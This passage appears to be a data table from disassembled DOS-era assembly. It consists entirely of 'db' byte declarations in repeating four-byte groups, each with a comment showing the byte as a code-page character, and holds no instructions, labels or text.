		db 0A4h	; є
		db  80h	; ─
		db  24h	; $
		db  22h	; "
		db 0A4h	; є
		db  80h	; ─
		db  4Ch	; L
		db  27h	; '
		db 0A4h	; є
		db  81h	; │
		db    1	;  
		db  25h	; %
		db 0A4h	; є
		db  0Eh	;  
		db  82h	; ┌
		db  42h	; B
		db 0A4h	; є
		db  0Eh	;  
		db  82h	; ┌
		db  63h	; c
		db 0A4h	; є
		db  91h	; ▒
		db  79h	; y
		db  2Eh	; .
		db 0A4h	; є
		db  0Fh	;  
		db  3Bh	; ;
		db 0C8h	; х
		db 0A4h	; є
		db  99h	; ≥
		db  0Ah	;  
		db  0Fh	;  
		db 0A4h	; є
		db  99h	; ≥
		db  0Ah	;  
		db    3	;  
		db 0A4h	; є
		db  9Ah	;  
		db    2	;  
		db    2	;  
		db 0A4h	; є
		db  9Ch	; °
		db  1Bh	;  
		db    2	;  
		db 0A4h	; є
		db  9Ch	; °
		db  1Bh	;  
		db    5	;  
		db 0A4h	; є
		db  9Eh	; ·
		db 0FAh	; З
		db    2	;  
		db 0A4h	; є
		db  9Eh	; ·
		db 0FAh	; З
		db    3	;  
		db 0A4h	; є
		db 0A1h	; ║
		db  28h	; (
		db  65h	; e
		db 0A4h	; є
		db 0A1h	; ║
		db    8	;  
		db    1	;  
		db 0A4h	; є
		db 0A3h	; ё
		db    1	;  
		db    1	;  
		db 0A4h	; є
		db 0A4h	; є
		db    4	;  
		db    5	;  
		db 0A4h	; є
		db 0A5h	; ╔
		db  43h	; C
		db  62h	; b
		db 0A4h	; є
		db 0A5h	; ╔
		db  43h	; C
		db  63h	; c
		db 0A4h	; є
		db 0A7h	; ї
		db  8Ah	; ┼
		db  14h	;  
		db 0A4h	; є
		db 0BEh	; Ў
		db 0C8h	; х
		db    3	;  
		db 0A4h	; є
		db 0C3h	; ц
		db  7Ch	; |
		db    1	;  
		db 0A4h	; є
		db 0C3h	; ц
		db  7Ch	; |
		db    3	;  
		db 0A4h	; є
		db    2	;  
		db 0FFh	;  
		db 0F1h	; Я
		db 0A4h	; є
		db 0D6h	; ж
		db    2	;  
		db  50h	; P
		db 0A4h	; є
		db 0DAh	; з
		db    2	;  
		db  0Ah	;  
		db 0A4h	; є
		db 0DCh	; э
		db 0C2h	; б
		db  14h	;  
		db 0A4h	; є
		db 0DFh	; ъ
		db    1	;  
		db  49h	; I
		db 0A4h	; є
		db 0DFh	; ъ
		db    1	;  
		db  5Bh	; [
		db 0A4h	; є
		db 0E0h	; Ю
		db 0FAh	; З
		db  56h	; V
		db 0A4h	; є
		db 0E5h	; Е
		db 0E8h	; Х
		db    2	;  
		db 0A4h	; є
		db 0E5h	; Е
		db 0E8h	; Х
		db    3	;  
		db 0A4h	; є
		db 0E6h	; Ф
		db  63h	; c
		db    2	;  
		db 0A4h	; є
		db 0E6h	; Ф
		db  63h	; c
		db    3	;  
		db 0A4h	; є
		db 0E7h	; Г
		db  62h	; b
		db    4	;  
		db 0A4h	; є
		db    3	;  
		db 0B9h	; ╧
		db    5	;  
		db 0A4h	; є
		db    3	;  
		db 0C3h	; ц
		db    5	;  
		db 0A4h	; є
		db  23h	; #
		db  99h	; ≥
		db  64h	; d
		db 0A4h	; є
		db  24h	; $
		db 0A4h	; є
		db  14h	;  
		db 0A4h	; є
		db  26h	; &
		db 0B8h	; ╦
		db    2	;  
		db 0A4h	; є
		db  27h	; '
		db    8	;  
		db  38h	; 8
		db 0A4h	; є
		db    4	;  
		db  11h	;  
		db    7	;  
		db 0A4h	; є
		db  29h	; )
		db  65h	; e
		db    4	;  
		db 0A4h	; є
		db  2Ah	; *
		db  64h	; d
		db    2	;  
		db 0A4h	; є
		db  2Bh	; +
		db  7Fh	; 
		db    1	;  
		db 0A4h	; є
		db  2Dh	; -
		db    2	;  
		db  96h	; √
		db 0A4h	; є
		db  2Eh	; .
		db    1	;  
		db    1	;  
		db 0A4h	; є
		db  2Fh	; /
		db 0C2h	; б
		db  3Eh	; >
		db 0A4h	; є
		db  39h	; 9
		db  0Dh	;  
		db  0Bh	;  
		db 0A4h	; є
		db  39h	; 9
		db  0Dh	;  
		db    9	;  
		db 0A4h	; є
		db  3Ah	; :
		db 0E9h	; И
		db 0CAh	; й
		db 0A4h	; є
		db  3Ah	; :
		db 0FDh	; Щ
		db  0Ah	;  
		db 0A4h	; є
		db  3Ah	; :
		db 0FDh	; Щ
		db    4	;  
		db 0A4h	; є
		db  3Eh	; >
		db    7	;  
		db  15h	;  
		db 0A4h	; є
		db  3Eh	; >
		db    7	;  
		db  16h	;  
		db 0A4h	; є
		db  40h	; @
		db    1	;  
		db    2	;  
		db 0A4h	; є
		db  40h	; @
		db    3	;  
		db    5	;  
		db 0A4h	; є
		db  43h	; C
		db  80h	; ─
		db    1	;  
		db 0A4h	; є
		db  43h	; C
		db  80h	; ─
		db    2	;  
		db 0A4h	; є
		db  43h	; C
		db  80h	; ─
		db    3	;  
		db 0A4h	; є
		db  43h	; C
		db  29h	; )
		db    8	;  
		db 0A4h	; є
		db  44h	; D
		db    1	;  
		db    2	;  
		db 0A4h	; є
		db  44h	; D
		db    1	;  
		db  15h	;  
		db 0A4h	; є
		db  47h	; G
		db    1	;  
		db  85h	; ┘
		db 0A4h	; є
		db  49h	; I
		db  80h	; ─
		db    5	;  
		db 0A4h	; є
		db  4Ch	; L
		db  66h	; f
		db  42h	; B
		db 0A4h	; є
		db    8	;  
		db    1	;  
		db  64h	; d
		db 0A4h	; є
		db    8	;  
		db  0Ah	;  
		db  0Ah	;  
		db 0A4h	; є
		db    8	;  
		db  64h	; d
		db  64h	; d
		db 0A4h	; є
		db  51h	; Q
		db    1	;  
		db    4	;  
		db 0A4h	; є
		db  51h	; Q
		db    1	;  
		db    5	;  
		db 0A4h	; є
		db  55h	; U
		db 0FFh	;  
		db 0F3h	; С
		db 0A4h	; є
		db  56h	; V
		db  66h	; f
		db  0Bh	;  
		db 0A4h	; є
		db  57h	; W
		db    1	;  
		db  64h	; d
		db 0A4h	; є
		db  59h	; Y
		db 0FDh	; Щ
		db    3	;  
		db 0A4h	; є
		db  5Ch	; \
		db    6	;  
		db  0Ah	;  
		db 0A4h	; є
		db  5Ch	; \
		db    6	;  
		db  14h	;  
		db 0A4h	; є
		db  5Eh	; ^
		db    1	;  
		db  51h	; Q
		db 0A5h	; ╔
		db    1	;  
		db  3Bh	; ;
		db  65h	; e
		db 0A5h	; ╔
		db  64h	; d
		db 0D8h	; ь
		db  13h	;  
		db 0A5h	; ╔
		db  6Ah	; j
		db    1	;  
		db    5	;  
		db 0A5h	; ╔
		db  6Fh	; o
		db    2	;  
		db    1	;  
		db 0A5h	; ╔
		db  72h	; r
		db    1	;  
		db    5	;  
		db 0A5h	; ╔
		db  73h	; s
		db  3Eh	; >
		db  0Ch	;  
		db 0A5h	; ╔
		db  79h	; y
		db    1	;  
		db    2	;  
		db 0A5h	; ╔
		db  79h	; y
		db    2	;  
		db    2	;  
		db 0A5h	; ╔
		db  7Ch	; |
		db  31h	; 1
		db  15h	;  
		db 0A5h	; ╔
		db  7Dh	; }
		db    0	;  
		db  0Ah	;  
		db 0A5h	; ╔
		db  7Dh	; }
		db  10h	;  
		db  0Ah	;  
		db 0A5h	; ╔
		db  7Fh	; 
		db  14h	;  
		db  15h	;  
		db 0A5h	; ╔
		db  81h	; │
		db    2	;  
		db  14h	;  
		db 0A5h	; ╔
		db  0Dh	;  
		db    2	;  
		db  1Bh	;  
		db 0A5h	; ╔
		db  84h	; └
		db  0Ah	;  
		db  15h	;  
		db 0A5h	; ╔
		db  84h	; └
		db  0Ah	;  
		db  29h	; )
		db 0A5h	; ╔
		db  86h	; ├
		db    1	;  
		db  19h	;  
		db 0A5h	; ╔
		db  86h	; ├
		db  14h	;  
		db    3	;  
		db 0A5h	; ╔
		db  8Bh	; ▀
		db    1	;  
		db    1	;  
		db 0A5h	; ╔
		db  0Eh	;  
		db 0A4h	; є
		db    5	;  
		db 0A5h	; ╔
		db  8Dh	; █
		db  21h	; !
		db  42h	; B
		db 0A5h	; ╔
		db  8Eh	; ▌
		db 0FAh	; З
		db    3	;  
		db 0A5h	; ╔
		db  8Fh	; ▐
		db  80h	; ─
		db  64h	; d
		db 0A5h	; ╔
		db  8Fh	; ▐
		db  54h	; T
		db  91h	; ▒
		db 0A5h	; ╔
		db  97h	; ≈
		db  15h	;  
		db 0F1h	; Я
		db 0A5h	; ╔
		db  9Ah	;  
		db  69h	; i
		db    1	;  
		db 0A5h	; ╔
		db  9Ah	;  
		db  69h	; i
		db    2	;  
		db 0A5h	; ╔
		db  9Ah	;  
		db  8Ch	; ▄
		db  1Fh	;  
		db 0A5h	; ╔
		db  9Ah	;  
		db  8Ch	; ▄
		db  20h	;  
		db 0A5h	; ╔
		db  9Eh	; ·
		db    1	;  
		db    2	;  
		db 0A5h	; ╔
		db  9Fh	; ÷
		db  3Eh	; >
		db    2	;  
		db 0A5h	; ╔
		db 0A0h	; ═
		db 0FBh	; Ш
		db  63h	; c
		db 0A5h	; ╔
		db 0A2h	; ╒
		db 0F0h	; П
		db  15h	;  
		db 0A5h	; ╔
		db 0A4h	; є
		db  86h	; ├
		db  20h	;  
		db 0A5h	; ╔
		db 0A6h	; і
		db    0	;  
		db    2	;  
		db 0A5h	; ╔
		db 0A6h	; і
		db    0	;  
		db    3	;  
		db 0A5h	; ╔
		db 0B0h	; ╟
		db  20h	;  
		db    3	;  
		db 0A5h	; ╔
		db 0B7h	; Ї
		db  5Dh	; ]
		db    1	;  
		db 0A5h	; ╔
		db 0B7h	; Ї
		db  60h	; `
		db 0F5h	; У
		db 0A5h	; ╔
		db 0BBh	; ╩
		db  42h	; B
		db    2	;  
		db 0A5h	; ╔
		db 0BDh	; Ґ
		db  60h	; `
		db  33h	; 3
		db 0A5h	; ╔
		db 0BEh	; Ў
		db    8	;  
		db  1Ch	;  
		db 0A5h	; ╔
		db 0BFh	; ©
		db    2	;  
		db  15h	;  
		db 0A5h	; ╔
		db 0C2h	; б
		db    1	;  
		db    1	;  
		db 0A5h	; ╔
		db 0C4h	; д
		db    0	;  
		db  83h	; ┐
		db 0A5h	; ╔
		db 0C6h	; ф
		db  5Fh	; _
		db 0C8h	; х
		db 0A5h	; ╔
		db 0C7h	; г
		db    3	;  
		db  11h	;  
		db 0A5h	; ╔
		db 0C7h	; г
		db    3	;  
		db  1Fh	;  
		db 0A5h	; ╔
		db    2	;  
		db 0BAh	; ╨
		db    2	;  
		db 0A5h	; ╔
		db 0CEh	; н
		db 0FEh	; Ч
		db 0FEh	; Ч
		db 0A5h	; ╔
		db 0CEh	; н
		db  35h	; 5
		db 0F8h	; Ь
		db 0A5h	; ╔
		db 0CEh	; н
		db  35h	; 5
		db 0FBh	; Ш
		db 0A5h	; ╔
		db 0CEh	; н
		db  35h	; 5
		db 0FDh	; Щ
		db 0A5h	; ╔
		db  15h	;  
		db  53h	; S
		db  0Bh	;  
		db 0A5h	; ╔
		db 0DCh	; э
		db    1	;  
		db    1	;  
		db 0A5h	; ╔
		db 0DCh	; э
		db    3	;  
		db    7	;  
		db 0A5h	; ╔
		db 0E1h	; А
		db 0C0h	; ю
		db    2	;  
		db 0A5h	; ╔
		db 0E1h	; А
		db 0C2h	; б
		db    2	;  
		db 0A5h	; ╔
		db 0E1h	; А
		db 0C4h	; д
		db    2	;  
		db 0A5h	; ╔
		db 0E3h	; Ц
		db    1	;  
		db    1	;  
		db 0A5h	; ╔
		db 0E3h	; Ц
		db    2	;  
		db  0Ah	;  
		db 0A5h	; ╔
		db 0E5h	; Е
		db  0Bh	;  
		db    3	;  
		db 0A5h	; ╔
		db 0E5h	; Е
		db  0Bh	;  
		db    5	;  
		db 0A5h	; ╔
		db 0E6h	; Ф
		db  90h	; ░
		db  83h	; ┐
		db 0A5h	; ╔
		db 0E6h	; Ф
		db    4	;  
		db  4Ch	; L
		db 0A5h	; ╔
		db 0EAh	; Й
		db  40h	; @
		db  28h	; (
		db 0A5h	; ╔
		db  18h	;  
		db    5	;  
		db  1Dh	;  
		db 0A5h	; ╔
		db  18h	;  
		db    5	;  
		db  51h	; Q
		db 0A5h	; ╔
		db 0F2h	; Р
		db  28h	; (
		db  21h	; !
		db 0A5h	; ╔
		db 0F3h	; С
		db    5	;  
		db  0Fh	;  
		db 0A5h	; ╔
		db 0F3h	; С
		db    5	;  
		db  10h	;  
		db 0A5h	; ╔
		db 0F6h	; Ж
		db  0Ah	;  
		db    2	;  
		db 0A5h	; ╔
		db 0FAh	; З
		db  5Bh	; [
		db  34h	; 4
		db 0A5h	; ╔
		db 0FAh	; З
		db  5Bh	; [
		db  35h	; 5
		db 0A5h	; ╔
		db 0FEh	; Ч
		db  65h	; e
		db  33h	; 3
		db 0A5h	; ╔
		db 0FEh	; Ч
		db  75h	; u
		db  33h	; 3
		db 0A5h	; ╔
		db 0FEh	; Ч
		db  75h	; u
		db  34h	; 4
		db 0A5h	; ╔
		db 0FEh	; Ч
		db 0A3h	; ё
		db 0FEh	; Ч
		db 0A5h	; ╔
		db 0FEh	; Ч
		db    2	;  
		db  33h	; 3
		db 0A5h	; ╔
		db  1Eh	;  
		db  33h	; 3
		db    6	;  
		db 0A5h	; ╔
		db    6	;  
		db  83h	; ┐
		db  20h	;  
		db 0A5h	; ╔
		db    6	;  
		db    6	;  
		db  1Bh	;  
		db 0A5h	; ╔
		db  41h	; A
		db    6	;  
		db    8	;  
		db 0A5h	; ╔
		db  44h	; D
		db  27h	; '
		db 0FAh	; З
		db 0A5h	; ╔
		db  44h	; D
		db  29h	; )
		db 0FAh	; З
		db 0A5h	; ╔
		db  45h	; E
		db    1	;  
		db 0F1h	; Я
		db 0A5h	; ╔
		db  45h	; E
		db    1	;  
		db 0F9h	; Ы
		db 0A5h	; ╔
		db  4Ch	; L
		db    0	;  
		db  62h	; b
		db 0A5h	; ╔
		db  4Ch	; L
		db  0Ch	;  
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db  0Dh	;  
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db 0F0h	; П
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db    3	;  
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db    4	;  
		db 0AAh	; ╙
		db 0A5h	; ╔
		db  4Ch	; L
		db    4	;  
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db  30h	; 0
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db    5	;  
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db  38h	; 8
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db    8	;  
		db    2	;  
		db 0A5h	; ╔
		db  4Ch	; L
		db    9	;  
		db    2	;  
		db 0A5h	; ╔
		db    8	;  
		db  0Dh	;  
		db  14h	;  
		db 0A5h	; ╔
		db  52h	; R
		db    1	;  
		db  1Eh	;  
		db 0A5h	; ╔
		db  54h	; T
		db  64h	; d
		db    3	;  
		db 0A5h	; ╔
		db  57h	; W
		db 0C2h	; б
		db 0F4h	; Т
		db 0A5h	; ╔
		db  57h	; W
		db 0C9h	; и
		db 0F3h	; С
		db 0A5h	; ╔
		db  57h	; W
		db 0C9h	; и
		db 0F4h	; Т
		db 0A5h	; ╔
		db  58h	; X
		db 0C7h	; г
		db  15h	;  
		db 0A5h	; ╔
		db  58h	; X
		db 0F9h	; Ы
		db  0Fh	;  
		db 0A5h	; ╔
		db  5Bh	; [
		db  20h	;  
		db  3Fh	; ?
		db 0A5h	; ╔
		db  5Dh	; ]
		db  0Bh	;  
		db    2	;  
		db 0A5h	; ╔
		db  5Dh	; ]
		db  0Bh	;  
		db    4	;  
		db 0A5h	; ╔
		db  61h	; a
		db  0Ah	;  
		db    9	;  
		db 0A5h	; ╔
		db  62h	; b
		db    1	;  
		db    2	;  
		db 0A6h	; і
		db  66h	; f
		db 0A5h	; ╔
		db  0Ch	;  
		db 0A6h	; і
		db  66h	; f
		db 0A5h	; ╔
		db  0Eh	;  
		db 0A6h	; і
		db  68h	; h
		db  1Bh	;  
		db    6	;  
		db 0A6h	; і
		db  6Bh	; k
		db 0FAh	; З
		db  22h	; "
		db 0A6h	; і
		db  6Dh	; m
		db 0FEh	; Ч
		db    4	;  
		db 0A6h	; і
		db  6Dh	; m
		db 0FEh	; Ч
		db    6	;  
		db 0A6h	; і
		db  70h	; p
		db 0C8h	; х
		db  8Eh	; ▌
		db 0A6h	; і
		db  71h	; q
		db    5	;  
		db  0Ah	;  
		db 0A6h	; і
		db  72h	; r
		db    1	;  
		db  28h	; (
		db 0A6h	; і
		db  7Fh	; 
		db    1	;  
		db    9	;  
		db 0A6h	; і
		db  14h	;  
		db  54h	; T
		db  64h	; d
		db 0A6h	; і
		db  3Ch	; <
		db    6	;  
		db  26h	; &
		db 0A6h	; і
		db  41h	; A
		db  36h	; 6
		db    1	;  
		db 0A6h	; і
		db  44h	; D
		db  86h	; ├
		db  85h	; ┘
		db 0A6h	; і
		db  49h	; I
		db  6Eh	; n
		db 0BEh	; Ў
		db 0A6h	; і
		db  4Dh	; M
		db  0Ch	;  
		db  0Bh	;  
		db 0A6h	; і
		db  4Dh	; M
		db 0EBh	; К
		db 0D3h	; с
		db 0A6h	; і
		db  52h	; R
		db    1	;  
		db    3	;  
		db 0A6h	; і
		db  52h	; R
		db    1	;  
		db    8	;  
		db 0A6h	; і
		db  52h	; R
		db 0EBh	; К
		db  78h	; x
		db 0A6h	; і
		db  58h	; X
		db    4	;  
		db  0Ah	;  
		db 0A6h	; і
		db  5Ah	; Z
		db 0D2h	; р
		db    2	;  
		db 0A6h	; і
		db  5Bh	; [
		db 0FEh	; Ч
		db    2	;  
		db 0A6h	; і
		db  5Dh	; ]
		db    1	;  
		db    3	;  
		db 0A6h	; і
		db  5Dh	; ]
		db    8	;  
		db    2	;  
		db 0A7h	; ї
		db  64h	; d
		db  75h	; u
		db 0D9h	; ы
		db 0A7h	; ї
		db  6Bh	; k
		db 0E5h	; Е
		db 0C8h	; х
		db 0A7h	; ї
		db  70h	; p
		db 0A0h	; ═
		db    3	;  
		db 0A7h	; ї
		db  70h	; p
		db 0A0h	; ═
		db    7	;  
		db 0A7h	; ї
		db  72h	; r
		db 0FDh	; Щ
		db    3	;  
		db 0A7h	; ї
		db  79h	; y
		db    0	;  
		db  38h	; 8
		db 0A7h	; ї
		db  79h	; y
		db    9	;  
		db  3Dh	; =
		db 0A7h	; ї
		db  81h	; │
		db 0F0h	; П
		db    5	;  
		db 0A7h	; ї
		db  82h	; ┌
		db  5Dh	; ]
		db 0D8h	; ь
		db 0A7h	; ї
		db  84h	; └
		db 0FDh	; Щ
		db 0A6h	; і
		db 0A7h	; ї
		db  84h	; └
		db 0FDh	; Щ
		db  33h	; 3
		db 0A7h	; ї
		db  87h	; ┤
		db  7Ah	; z
		db  83h	; ┐
		db 0A7h	; ї
		db  88h	; ┬
		db 0E1h	; А
		db 0DEh	; ч
		db 0A7h	; ї
		db  88h	; ┬
		db 0EBh	; К
		db 0DEh	; ч
		db 0A7h	; ї
		db  8Ch	; ▄
		db  13h	;  
		db  0Eh	;  
		db 0A7h	; ї
		db  8Eh	; ▌
		db 0E1h	; А
		db    5	;  
		db 0A7h	; ї
		db  8Eh	; ▌
		db 0E1h	; А
		db    6	;  
		db 0A7h	; ї
		db  96h	; √
		db  0Fh	;  
		db    1	;  
		db 0A7h	; ї
		db  96h	; √
		db  0Fh	;  
		db    2	;  
		db 0A7h	; ї
		db  9Bh	; ⌡
		db    6	;  
		db    2	;  
		db 0A7h	; ї
		db  9Dh	; ²
		db    1	;  
		db  0Bh	;  
		db 0A7h	; ї
		db  10h	;  
		db  77h	; w
		db    6	;  
		db 0A7h	; ї
		db 0A0h	; ═
		db 0C0h	; ю
		db    5	;  
		db 0A7h	; ї
		db 0A0h	; ═
		db 0C0h	; ю
		db    6	;  
		db 0A7h	; ї
		db 0A6h	; і
		db 0F8h	; Ь
		db    5	;  
		db 0A7h	; ї
		db 0A9h	; ╘
		db    4	;  
		db    2	;  
		db 0A7h	; ї
		db 0B9h	; ╧
		db  18h	;  
		db    3	;  
		db 0A7h	; ї
		db 0CAh	; й
		db 0C3h	; ц
		db  0Bh	;  
		db 0A7h	; ї
		db 0CAh	; й
		db 0C3h	; ц
		db  0Ch	;  
		db 0A7h	; ї
		db 0CBh	; к
		db  6Fh	; o
		db  61h	; a
		db 0A7h	; ї
		db 0CDh	; м
		db  16h	;  
		db  7Bh	; {
		db 0A7h	; ї
		db 0CDh	; м
		db  17h	;  
		db    1	;  
		db 0A7h	; ї
		db 0CEh	; н
		db    1	;  
		db  67h	; g
		db 0A7h	; ї
		db 0CEh	; н
		db    1	;  
		db  1Eh	;  
		db 0A7h	; ї
		db 0CEh	; н
		db  4Dh	; M
		db    2	;  
		db 0A7h	; ї
		db 0D0h	; п
		db 0E8h	; Х
		db  0Bh	;  
		db 0A7h	; ї
		db  15h	;  
		db    1	;  
		db  78h	; x
		db 0A7h	; ї
		db 0D5h	; у
		db  6Ch	; l
		db  15h	;  
		db 0A7h	; ї
		db 0D8h	; ь
		db    1	;  
		db    2	;  
		db 0A7h	; ї
		db 0D8h	; ь
		db  80h	; ─
		db  23h	; #
		db 0A7h	; ї
		db 0D8h	; ь
		db  80h	; ─
		db  24h	; $
		db 0A7h	; ї
		db 0D8h	; ь
		db 0C1h	; а
		db 0E8h	; Х
		db 0A7h	; ї
		db 0D8h	; ь
		db 0FAh	; З
		db  2Ah	; *
		db 0A7h	; ї
		db 0D9h	; ы
		db    2	;  
		db  0Ah	;  
		db 0A7h	; ї
		db 0DAh	; з
		db 0FBh	; Ш
		db  0Ch	;  
		db 0A7h	; ї
		db  17h	;  
		db 0F8h	; Ь
		db  0Dh	;  
		db 0A7h	; ї
		db  17h	;  
		db 0F8h	; Ь
		db  0Eh	;  
		db 0A7h	; ї
		db  17h	;  
		db 0F8h	; Ь
		db  0Fh	;  
		db 0A7h	; ї
		db 0E6h	; Ф
		db 0E3h	; Ц
		db  8Ah	; ┼
		db 0A7h	; ї
		db 0E6h	; Ф
		db 0E3h	; Ц
		db  8Bh	; ▀
		db 0A7h	; ї
		db 0EFh	; О
		db 0B0h	; ╟
		db    1	;  
		db 0A7h	; ї
		db 0EFh	; О
		db 0B0h	; ╟
		db    3	;  
		db 0A7h	; ї
		db  18h	;  
		db  65h	; e
		db  0Ch	;  
		db 0A7h	; ї
		db  18h	;  
		db  68h	; h
		db 0C8h	; х
		db 0A7h	; ї
		db 0F0h	; П
		db 0FDh	; Щ
		db    3	;  
		db 0A7h	; ї
		db 0FBh	; Ш
		db    1	;  
		db  0Ah	;  
		db 0A7h	; ї
		db 0FBh	; Ш
		db    1	;  
		db  0Bh	;  
		db 0A7h	; ї
		db    3	;  
		db  35h	; 5
		db  7Ah	; z
		db 0A7h	; ї
		db    3	;  
		db    8	;  
		db  7Ah	; z
		db 0A7h	; ї
		db  21h	; !
		db  15h	;  
		db    4	;  
		db 0A7h	; ї
		db    4	;  
		db    1	;  
		db  25h	; %
		db 0A7h	; ї
		db    7	;  
		db  0Ah	;  
		db  83h	; ┐
		db 0A7h	; ї
		db    7	;  
		db  0Bh	;  
		db  83h	; ┐
		db 0A7h	; ї
		db  4Ch	; L
		db  9Fh	; ÷
		db  0Bh	;  
		db 0A7h	; ї
		db  4Eh	; N
		db    1	;  
		db  0Ah	;  
		db 0A7h	; ї
		db  4Fh	; O
		db  5Bh	; [
		db  63h	; c
		db 0A7h	; ї
		db  5Ah	; Z
		db    4	;  
		db    5	;  
		db 0A7h	; ї
		db  5Ah	; Z
		db    5	;  
		db    2	;  
		db 0A7h	; ї
		db  5Ch	; \
		db  73h	; s
		db  0Fh	;  
		db 0A7h	; ї
		db  5Dh	; ]
		db    1	;  
		db  0Ch	;  
		db 0A7h	; ї
		db  5Dh	; ]
		db    1	;  
		db  0Eh	;  
		db 0A7h	; ї
		db  5Eh	; ^
		db    2	;  
		db    1	;  
		db 0A7h	; ї
		db  5Eh	; ^
		db    2	;  
		db    2	;  
		db 0A8h	; ╗
		db  64h	; d
		db    1	;  
		db    2	;  
		db 0A8h	; ╗
		db  64h	; d
		db    1	;  
		db    3	;  
		db 0A8h	; ╗
		db  65h	; e
		db  10h	;  
		db  0Ah	;  
		db 0A8h	; ╗
		db  65h	; e
		db  10h	;  
		db  0Bh	;  
		db 0A8h	; ╗
		db  66h	; f
		db  10h	;  
		db  0Eh	;  
		db 0A8h	; ╗
		db  66h	; f
		db  10h	;  
		db  0Fh	;  
		db 0A8h	; ╗
		db  67h	; g
		db  68h	; h
		db  52h	; R
		db 0A8h	; ╗
		db  67h	; g
		db    8	;  
		db    1	;  
		db 0A8h	; ╗
		db  6Ah	; j
		db    2	;  
		db    1	;  
		db 0A8h	; ╗
		db  6Ch	; l
		db  0Dh	;  
		db    2	;  
		db 0A8h	; ╗
		db  6Fh	; o
		db  0Ah	;  
		db  83h	; ┐
		db 0A8h	; ╗
		db  73h	; s
		db  20h	;  
		db  32h	; 2
		db 0A8h	; ╗
		db  73h	; s
		db  20h	;  
		db  33h	; 3
		db 0A8h	; ╗
		db  7Bh	; {
		db    2	;  
		db  32h	; 2
		db 0A8h	; ╗
		db  7Bh	; {
		db    4	;  
		db  0Ah	;  
		db 0A8h	; ╗
		db  7Eh	; ~
		db  3Fh	; ?
		db    1	;  
		db 0A8h	; ╗
		db  7Eh	; ~
		db  3Fh	; ?
		db    2	;  
		db 0A8h	; ╗
		db  83h	; ┐
		db  21h	; !
		db    5	;  
		db 0A8h	; ╗
		db  84h	; └
		db    1	;  
		db    1	;  
		db 0A8h	; ╗
		db  8Fh	; ▐
		db    0	;  
		db    4	;  
		db 0A8h	; ╗
		db  8Fh	; ▐
		db    0	;  
		db    6	;  
		db 0A8h	; ╗
		db  90h	; ░
		db    1	;  
		db    7	;  
		db 0A8h	; ╗
		db  91h	; ▒
		db    1	;  
		db 0BEh	; Ў
		db 0A8h	; ╗
		db  96h	; √
		db 0FDh	; Щ
		db    1	;  
		db 0A8h	; ╗
		db  96h	; √
		db 0FDh	; Щ
		db    2	;  
		db 0A8h	; ╗
		db  9Ah	;  
		db  1Ah	;  
		db  0Ah	;  
		db 0A8h	; ╗
		db  9Fh	; ÷
		db    1	;  
		db    2	;  
		db 0A8h	; ╗
		db  9Fh	; ÷
		db    3	;  
		db    1	;  
		db 0A8h	; ╗
		db 0A0h	; ═
		db    1	;  
		db  19h	;  
		db 0A8h	; ╗
		db 0A5h	; ╔
		db    1	;  
		db  64h	; d
		db 0A8h	; ╗
		db 0A6h	; і
		db    2	;  
		db  43h	; C
		db 0A8h	; ╗
		db 0A7h	; ї
		db 0A8h	; ╗
		db  22h	; "
		db 0A8h	; ╗
		db 0A9h	; ╘
		db    8	;  
		db  15h	;  
		db 0A8h	; ╗
		db 0A9h	; ╘
		db    8	;  
		db  16h	;  
		db 0A8h	; ╗
		db 0AAh	; ╙
		db  19h	;  
		db  22h	; "
		db 0A8h	; ╗
		db 0ABh	; ╚
		db    3	;  
		db    3	;  
		db 0A8h	; ╗
		db 0ABh	; ╚
		db  2Ch	; ,
		db  0Ah	;  
		db 0A8h	; ╗
		db 0B0h	; ╟
		db    1	;  
		db  32h	; 2
		db 0A8h	; ╗
		db 0B0h	; ╟
		db    2	;  
		db  0Ah	;  
		db 0A8h	; ╗
		db 0B8h	; ╦
		db    0	;  
		db  45h	; E
		db 0A8h	; ╗
		db 0B8h	; ╦
		db    0	;  
		db  46h	; F
		db 0A8h	; ╗
		db 0BCh	; ╪
		db    1	;  
		db    1	;  
		db 0A8h	; ╗
		db 0BEh	; Ў
		db 0C8h	; х
		db  19h	;  
		db 0A8h	; ╗
		db 0BEh	; Ў
		db    3	;  
		db  0Ch	;  
		db 0A8h	; ╗
		db 0CBh	; к
		db    8	;  
		db  0Ah	;  
		db 0A8h	; ╗
		db 0CBh	; к
		db    8	;  
		db    6	;  
		db 0A8h	; ╗
		db 0CDh	; м
		db 0FEh	; Ч
		db    1	;  
		db 0A8h	; ╗
		db 0CDh	; м
		db 0FEh	; Ч
		db    2	;  
		db 0A8h	; ╗
		db 0D0h	; п
		db 0D7h	; в
		db 0F9h	; Ы
		db 0A8h	; ╗
		db 0D0h	; п
		db 0D7h	; в
		db 0FAh	; З
		db 0A8h	; ╗
		db 0D5h	; у
		db  80h	; ─
		db    1	;  
		db 0A8h	; ╗
		db 0D5h	; у
		db  80h	; ─
		db    8	;  
		db 0A8h	; ╗
		db 0D7h	; в
		db  5Ah	; Z
		db  23h	; #
		db 0A8h	; ╗
		db 0DBh	; ш
		db 0C9h	; и
		db    5	;  
		db 0A8h	; ╗
		db 0DCh	; э
		db  40h	; @
		db  0Bh	;  
		db 0A8h	; ╗
		db 0DDh	; щ
		db  15h	;  
		db  96h	; √
		db 0A8h	; ╗
		db 0DDh	; щ
		db  15h	;  
		db 0C8h	; х
		db 0A8h	; ╗
		db 0DFh	; ъ
		db    2	;  
		db    3	;  
		db 0A8h	; ╗
		db 0DFh	; ъ
		db    3	;  
		db  14h	;  
		db 0A8h	; ╗
		db 0E2h	; Б
		db  31h	; 1
		db    1	;  
		db 0A8h	; ╗
		db 0E2h	; Б
		db  31h	; 1
		db    3	;  
		db 0A8h	; ╗
		db 0E5h	; Е
		db    4	;  
		db    1	;  
		db 0A8h	; ╗
		db 0EAh	; Й
		db  6Ah	; j
		db    2	;  
		db 0A8h	; ╗
		db 0EAh	; Й
		db  20h	;  
		db  42h	; B
		db 0A8h	; ╗
		db 0EEh	; Н
		db  80h	; ─
		db    1	;  
		db 0A8h	; ╗
		db  18h	;  
		db 0F2h	; Р
		db 0F9h	; Ы
		db 0A8h	; ╗
		db 0F1h	; Я
